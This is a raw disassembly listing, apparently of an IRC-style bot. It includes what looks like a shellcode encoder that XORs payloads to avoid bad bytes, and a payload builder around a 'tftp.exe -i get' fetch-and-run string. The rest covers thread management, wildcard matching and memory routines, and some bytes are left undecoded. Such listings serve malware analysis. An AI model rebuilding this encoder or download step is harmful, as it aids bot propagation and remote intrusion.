		push	[ebp+arg_8]
		call	sub_417AB0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_417AB0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_4394A0, eax
		lea	eax, [edi+1]
		mov	dword_4394C1, eax
		lea	eax, [edi+17h]
		mov	dword_4394B9, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_43943C
		push	ebx
		mov	dword_4394CF, eax
		call	sub_417390
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_417390
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_4394C5
		push	esi
		call	sub_417390
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416ADE	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BB6	proc near		; CODE XREF: sub_416BCD+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_416ABE
		push	eax
		call	sub_416C3A
		add	esp, 0Ch
		retn
sub_416BB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BCD	proc near		; CODE XREF: sub_402B84+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_416BB6
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_416BED
		cmp	eax, 0FFFFh
		jbe	short loc_416BF1


loc_416BED:				; CODE XREF: sub_416BCD+17j
		xor	eax, eax
		jmp	short loc_416C36
; ---------------------------------------------------------------------------


loc_416BF1:				; CODE XREF: sub_416BCD+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_416ABE
		add	eax, 101h
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_416ABE
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_416ADE
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416C55
		push	esi
		mov	edi, eax
		call	sub_417C3B
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_416C36:				; CODE XREF: sub_416BCD+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_416BCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C3A	proc near		; CODE XREF: sub_416BB6+Ep
					; sub_416C55+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_416C43
		inc	ecx


loc_416C43:				; CODE XREF: sub_416C3A+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_416C3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C55	proc near		; CODE XREF: sub_416BCD+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_416C74


loc_416C71:				; CODE XREF: sub_416C55+8j
					; sub_416C55+Ej ...
		inc	[ebp+arg_C]


loc_416C74:				; CODE XREF: sub_416C55+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_416C9C
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_416C95
		cmp	al, 0Dh
		jz	short loc_416C95
		cmp	al, 5Ch
		jz	short loc_416C95
		test	al, al
		jnz	short loc_416C9C


loc_416C95:				; CODE XREF: sub_416C55+32j
					; sub_416C55+36j ...
		add	[ebp+arg_C], 100h


loc_416C9C:				; CODE XREF: sub_416C55+28j
					; sub_416C55+3Ej
		push	[ebp+arg_C]
		call	sub_416C3A
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_416CB4
		cmp	eax, 0FFFFh
		jbe	short loc_416CBB


loc_416CB4:				; CODE XREF: sub_416C55+56j
		xor	eax, eax
		jmp	loc_416D59
; ---------------------------------------------------------------------------


loc_416CBB:				; CODE XREF: sub_416C55+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_489FE8
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_416CEB


loc_416CCF:				; CODE XREF: sub_416C55+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_416CE2
		cmp	al, 0Ah
		jz	short loc_416CE2
		cmp	al, 0Dh
		jz	short loc_416CE2
		cmp	al, 5Ch
		jnz	short loc_416CE6


loc_416CE2:				; CODE XREF: sub_416C55+7Fj
					; sub_416C55+83j ...
		inc	bl
		xor	edx, edx


loc_416CE6:				; CODE XREF: sub_416C55+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_416CCF


loc_416CEB:				; CODE XREF: sub_416C55+78j
		cmp	ecx, esi
		mov	byte_489FE8, bl
		ja	short loc_416D17
		push	15h
		push	offset loc_439424
		push	[ebp+arg_0]
		mov	byte_439431, cl
		mov	byte_439435, bl
		call	sub_417390
		add	esp, 0Ch
		push	15h
		jmp	short loc_416D38
; ---------------------------------------------------------------------------


loc_416D17:				; CODE XREF: sub_416C55+9Ej
		push	17h
		push	offset loc_43940C
		push	[ebp+arg_0]
		mov	word_43941A, cx
		mov	byte_43941F, bl
		call	sub_417390
		add	esp, 0Ch
		push	17h


loc_416D38:				; CODE XREF: sub_416C55+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_416D54
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_416D46:				; CODE XREF: sub_416C55+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_416D46


loc_416D54:				; CODE XREF: sub_416C55+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_416D59:				; CODE XREF: sub_416C55+61j
		pop	esi
		leave
		retn
sub_416C55	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D5C	proc near		; CODE XREF: sub_4060D0+227p
					; sub_407252+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_444EC0


loc_416D64:				; CODE XREF: sub_416D5C+18j
		cmp	byte ptr [eax],	0
		jz	short loc_416D78
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_489C50
		jl	short loc_416D64
		jmp	short loc_416DC3
; ---------------------------------------------------------------------------


loc_416D78:				; CODE XREF: sub_416D5C+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_444EC0[esi]
		push	eax
		call	sub_418C10
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_4450C0[esi], eax
		and	dword_4450C4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_4450C8[esi], 0
		mov	dword_4450CC[esi], eax
		and	byte_4450D8[esi], 0
		pop	esi


loc_416DC3:				; CODE XREF: sub_416D5C+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_416D5C	endp

; ---------------------------------------------------------------------------
byte_416DC7	db 55h			; DATA XREF: sub_40EE72+5C01o
		dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h
		dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h
		dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh
		dd 26Ch, 6A14C483h, 94D4E800h, 5F90021Ch, 0EC8B555Eh, 200EC81h
		dd 57560000h, 75FF006Ah, 95006810h, 75FF0043h, 875FF0Ch
		dd 0FF6840E8h, 14C483FFh, 0C0BEFF33h, 8000444Eh, 3C74003Eh
		dd 147D83h, 0BE830975h,	204h, 562D7500h, 858D57h, 68FFFFFEh
		dd 437E80h, 446E850h, 16A0000h,	0FE00858Dh, 75FFFFFFh
		dd 75FF5010h, 875FF0Ch,	0FF67F8E8h, 24C483FFh, 234C681h
		dd 81470000h, 489C50FEh, 5FB07C00h
; ---------------------------------------------------------------------------
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416E97	proc near		; CODE XREF: sub_40EE72+4DD9p
					; sub_416F25+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_416F1F
		cmp	esi, 1F4h
		jge	short loc_416F1F
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_4450D4[esi]
		lea	edi, dword_4450D4[esi]
		call	near ptr 27B0A22h
		nop
		cmp	[edi], ebx
		jz	short loc_416ECF
		push	1
		pop	ebp


loc_416ECF:				; CODE XREF: sub_416E97+33j
		mov	[edi], ebx
		lea	edi, dword_4450C8[esi]
		mov	dword_4450C0[esi], ebx
		mov	dword_4450C4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_416EF0
		push	eax
		call	sub_415419
		pop	ecx


loc_416EF0:				; CODE XREF: sub_416E97+50j
		mov	[edi], ebx
		lea	edi, dword_4450CC[esi]
		mov	byte ptr dword_444EC0[esi], bl
		mov	byte_4450D8[esi], bl
		push	dword ptr [edi]
		call	dword_43F700
		lea	esi, dword_4450D0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_43F700
		mov	[esi], ebx
		pop	edi


loc_416F1F:				; CODE XREF: sub_416E97+Dj
					; sub_416E97+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416E97	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F25	proc near		; CODE XREF: sub_40AC42:loc_40AC66p
					; sub_40D3A5+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_444EC0


loc_416F31:				; CODE XREF: sub_416F25+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_416F42
		push	edi
		call	sub_416E97
		test	eax, eax
		pop	ecx
		jz	short loc_416F42
		inc	ebx


loc_416F42:				; CODE XREF: sub_416F25+Fj
					; sub_416F25+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_489C50
		jl	short loc_416F31
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_416F25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F57	proc near		; CODE XREF: sub_40EE72+1E3Dp
					; sub_40EE72+1EABp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4450C4


loc_416F6B:				; CODE XREF: sub_416F57+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_416F8D
		test	edi, edi
		jle	short loc_416F7F
		cmp	[esi], edi
		jz	short loc_416F7F
		cmp	ebx, edi
		jnz	short loc_416F8D


loc_416F7F:				; CODE XREF: sub_416F57+1Ej
					; sub_416F57+22j
		push	ebx
		call	sub_416E97
		test	eax, eax
		pop	ecx
		jz	short loc_416F8D
		inc	[ebp+var_4]


loc_416F8D:				; CODE XREF: sub_416F57+1Aj
					; sub_416F57+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_489E54
		jl	short loc_416F6B
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416F57	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FA4	proc near		; CODE XREF: sub_4071DB+Bp
					; sub_407252+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_4450C0


loc_416FAB:				; CODE XREF: sub_416FA4+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_416FB4
		inc	eax


loc_416FB4:				; CODE XREF: sub_416FA4+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_489E50
		jl	short loc_416FAB
		retn
sub_416FA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FC3	proc near		; CODE XREF: sub_40EE72+5698p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_4450C0


loc_416FCD:				; CODE XREF: sub_416FC3+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_416FE6
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_489E50
		jl	short loc_416FCD
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416FE6:				; CODE XREF: sub_416FC3+10j
		mov	eax, edx
		pop	esi
		retn
sub_416FC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FEA	proc near		; CODE XREF: sub_40EE72+1070p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_417003
		push	[ebp+arg_1C]
		call	sub_41781F
		pop	ecx


loc_417003:				; CODE XREF: sub_416FEA+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_416F57
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41702F
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_417049
; ---------------------------------------------------------------------------


loc_41702F:				; CODE XREF: sub_416FEA+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4172B0
		add	esp, 10h


loc_417049:				; CODE XREF: sub_416FEA+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_417069
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_417069:				; CODE XREF: sub_416FEA+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		leave
		retn
sub_416FEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_417078	proc near		; CODE XREF: sub_401000+A5p
					; sub_40144A+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_4450D4[eax], ecx
		mov	dword_4450C0[eax], ecx
		mov	dword_4450C4[eax], ecx
		mov	dword_4450C8[eax], ecx
		mov	dword_4450CC[eax], ecx
		mov	dword_4450D0[eax], ecx
		mov	byte ptr dword_444EC0[eax], cl
		mov	byte_4450D8[eax], cl
		retn
sub_417078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170B5	proc near		; CODE XREF: sub_40EE72+6189p
					; sub_4171E3+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4170BF:				; CODE XREF: sub_4170B5+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41711F
		cmp	eax, 1
		jnz	short loc_41711F
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41711F
		cmp	cl, 2Ah
		jz	short loc_417106
		cmp	cl, 3Fh
		jz	short loc_4170E9
		cmp	cl, 5Bh
		jz	short loc_4170EE
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_4170E9:				; CODE XREF: sub_4170B5+26j
		inc	[ebp+arg_4]
		jmp	short loc_417119
; ---------------------------------------------------------------------------


loc_4170EE:				; CODE XREF: sub_4170B5+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41714B
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417119
; ---------------------------------------------------------------------------


loc_417106:				; CODE XREF: sub_4170B5+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4171E3
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_417119:				; CODE XREF: sub_4170B5+37j
					; sub_4170B5+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4170BF
; ---------------------------------------------------------------------------


loc_41711F:				; CODE XREF: sub_4170B5+Ej
					; sub_4170B5+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41712F
		cmp	eax, 1
		jnz	short loc_417146
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41711F
; ---------------------------------------------------------------------------


loc_41712F:				; CODE XREF: sub_4170B5+6Dj
		cmp	eax, 1
		jnz	short loc_417146
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_417146
		cmp	byte ptr [esi],	0
		jnz	short loc_417146
		push	1
		pop	eax
		jmp	short loc_417148
; ---------------------------------------------------------------------------


loc_417146:				; CODE XREF: sub_4170B5+72j
					; sub_4170B5+7Dj ...
		xor	eax, eax


loc_417148:				; CODE XREF: sub_4170B5+8Fj
		pop	esi
		pop	ebp
		retn
sub_4170B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41714B	proc near		; CODE XREF: sub_4170B5+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_41716C
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_41716C:				; CODE XREF: sub_41714B+19j
		push	ebx
		push	esi


loc_41716E:				; CODE XREF: sub_41714B+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_41717C
		cmp	[ebp+var_4], eax
		jnz	short loc_4171C8


loc_41717C:				; CODE XREF: sub_41714B+2Aj
		test	edi, edi
		jnz	short loc_4171BD
		cmp	bl, 2Dh
		jnz	short loc_4171B1
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4171B1
		cmp	al, 5Dh
		jz	short loc_4171B1
		cmp	[ebp+var_4], edi
		jnz	short loc_4171B1
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4171BD
		cmp	bl, al
		jg	short loc_4171BD
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4171BD
; ---------------------------------------------------------------------------


loc_4171B1:				; CODE XREF: sub_41714B+38j
					; sub_41714B+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4171BD
		push	1
		pop	edi


loc_4171BD:				; CODE XREF: sub_41714B+33j
					; sub_41714B+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41716E
; ---------------------------------------------------------------------------


loc_4171C8:				; CODE XREF: sub_41714B+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4171D5
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4171D5:				; CODE XREF: sub_41714B+82j
		cmp	edi, eax
		jnz	short loc_4171DE
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4171DE:				; CODE XREF: sub_41714B+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_41714B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171E3	proc near		; CODE XREF: sub_4170B5+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_4171FF:				; CODE XREF: sub_4171E3+3Aj
		cmp	[eax], bl
		jz	short loc_41721F
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_417214
		cmp	cl, 2Ah
		jnz	short loc_41721F
		cmp	cl, 3Fh
		jnz	short loc_417217


loc_417214:				; CODE XREF: sub_4171E3+25j
		inc	eax
		mov	[edi], eax


loc_417217:				; CODE XREF: sub_4171E3+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4171FF
; ---------------------------------------------------------------------------


loc_41721F:				; CODE XREF: sub_4171E3+1Ej
					; sub_4171E3+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_41722A
		inc	dword ptr [esi]
		jmp	short loc_41721F
; ---------------------------------------------------------------------------


loc_41722A:				; CODE XREF: sub_4171E3+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_41724B
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_41723C
		xor	eax, eax
		jmp	short loc_4172AB
; ---------------------------------------------------------------------------


loc_41723C:				; CODE XREF: sub_4171E3+53j
		cmp	cl, bl
		jnz	short loc_41724B
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_41724B
		push	1
		pop	eax
		jmp	short loc_4172AB
; ---------------------------------------------------------------------------


loc_41724B:				; CODE XREF: sub_4171E3+4Dj
					; sub_4171E3+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4170B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417295


loc_417259:				; CODE XREF: sub_4171E3+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_41725D:				; CODE XREF: sub_4171E3+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_417275
		cmp	cl, 5Bh
		jz	short loc_417275
		cmp	dl, bl
		jz	short loc_417275
		inc	eax
		mov	[edi], eax
		jmp	short loc_41725D
; ---------------------------------------------------------------------------


loc_417275:				; CODE XREF: sub_4171E3+82j
					; sub_4171E3+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_41728C
		push	eax
		push	dword ptr [esi]
		call	sub_4170B5
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_417291
; ---------------------------------------------------------------------------


loc_41728C:				; CODE XREF: sub_4171E3+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_417291:				; CODE XREF: sub_4171E3+A7j
		cmp	eax, ebx
		jnz	short loc_417259


loc_417295:				; CODE XREF: sub_4171E3+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4172A8
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4172A8
		mov	[ebp+var_4], 1


loc_4172A8:				; CODE XREF: sub_4171E3+B6j
					; sub_4171E3+BCj
		mov	eax, [ebp+var_4]


loc_4172AB:				; CODE XREF: sub_4171E3+57j
					; sub_4171E3+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4171E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172B0	proc near		; CODE XREF: sub_401000+64p
					; sub_4010B5+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4172F0
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4172FD
; ---------------------------------------------------------------------------


loc_4172F0:				; CODE XREF: sub_4172B0+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_4172FD:				; CODE XREF: sub_4172B0+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4172B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417302	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401D82+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_439550, eax
		retn
sub_417302	endp


; =============== S U B	R O U T	I N E =======================================



sub_41730C	proc near		; CODE XREF: sub_4010B5+CBp
					; sub_4010B5+13Fp ...
		mov	eax, dword_439550
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_439550, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41730C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417330	proc near		; CODE XREF: sub_4010B5+281p
					; sub_40144A+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417383
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417377
		neg	ecx
		and	ecx, 3
		jz	short loc_417359
		sub	edx, ecx


loc_417353:				; CODE XREF: sub_417330+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417353


loc_417359:				; CODE XREF: sub_417330+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417377
		rep stosd
		test	edx, edx
		jz	short loc_41737D


loc_417377:				; CODE XREF: sub_417330+18j
					; sub_417330+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417377


loc_41737D:				; CODE XREF: sub_417330+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417383:				; CODE XREF: sub_417330+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417390	proc near		; CODE XREF: sub_4010B5+22Dp
					; sub_4010B5+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_39		= byte ptr  41h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4173B0
		cmp	edi, eax
		jb	loc_417528


loc_4173B0:				; CODE XREF: sub_417390+16j
		test	edi, 3
		jnz	short loc_4173CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------


loc_4173CC:				; CODE XREF: sub_417390+26j
		mov	eax, edi
		mov	edx, 3
